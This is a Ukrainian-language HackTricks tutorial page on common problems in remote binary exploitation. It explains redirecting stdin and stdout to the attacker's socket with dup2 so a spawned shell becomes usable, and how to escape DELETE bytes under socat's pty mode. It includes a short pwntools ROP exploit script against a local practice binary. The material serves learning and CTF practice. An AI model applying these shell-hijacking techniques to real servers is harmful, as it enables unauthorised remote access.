hacktricks/src/binary-exploitation/common-exploiting-problems.md

37 lines
2.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Загальні проблеми експлуатації
{{#include ../banners/hacktricks-training.md}}
## FD у віддаленій експлуатації
Коли ви надсилаєте експлойт на віддалений сервер, який викликає **`system('/bin/sh')`**, це буде виконано в процесі сервера, і `/bin/sh` очікуватиме введення з stdin (FD: `0`) і виведе результати в stdout і stderr (FDs `1` і `2`). Тому атакуючий не зможе взаємодіяти з оболонкою.
Спосіб вирішення цієї проблеми полягає в тому, щоб припустити, що коли сервер запустився, він створив **FD номер `3`** (для прослуховування), а потім ваше з'єднання буде в **FD номер `4`**. Отже, можливо використовувати системний виклик **`dup2`**, щоб дублювати stdin (FD 0) і stdout (FD 1) в FD 4 (той, що належить з'єднанню атакуючого), щоб це зробило можливим зв'язок з оболонкою після її виконання.
[**Приклад експлойту звідси**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
```
## Socat & pty
Зверніть увагу, що socat вже передає **`stdin`** та **`stdout`** до сокета. Однак, режим `pty` **включає символи DELETE**. Тому, якщо ви надішлете `\x7f` ( `DELETE` -), це **видалить попередній символ** вашого експлойту.
Щоб обійти це, **символ втечі `\x16` повинен бути попереджений перед будь-яким `\x7f`, що надсилається.**
**Тут ви можете** [**знайти приклад цієї поведінки**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
{{#include ../banners/hacktricks-training.md}}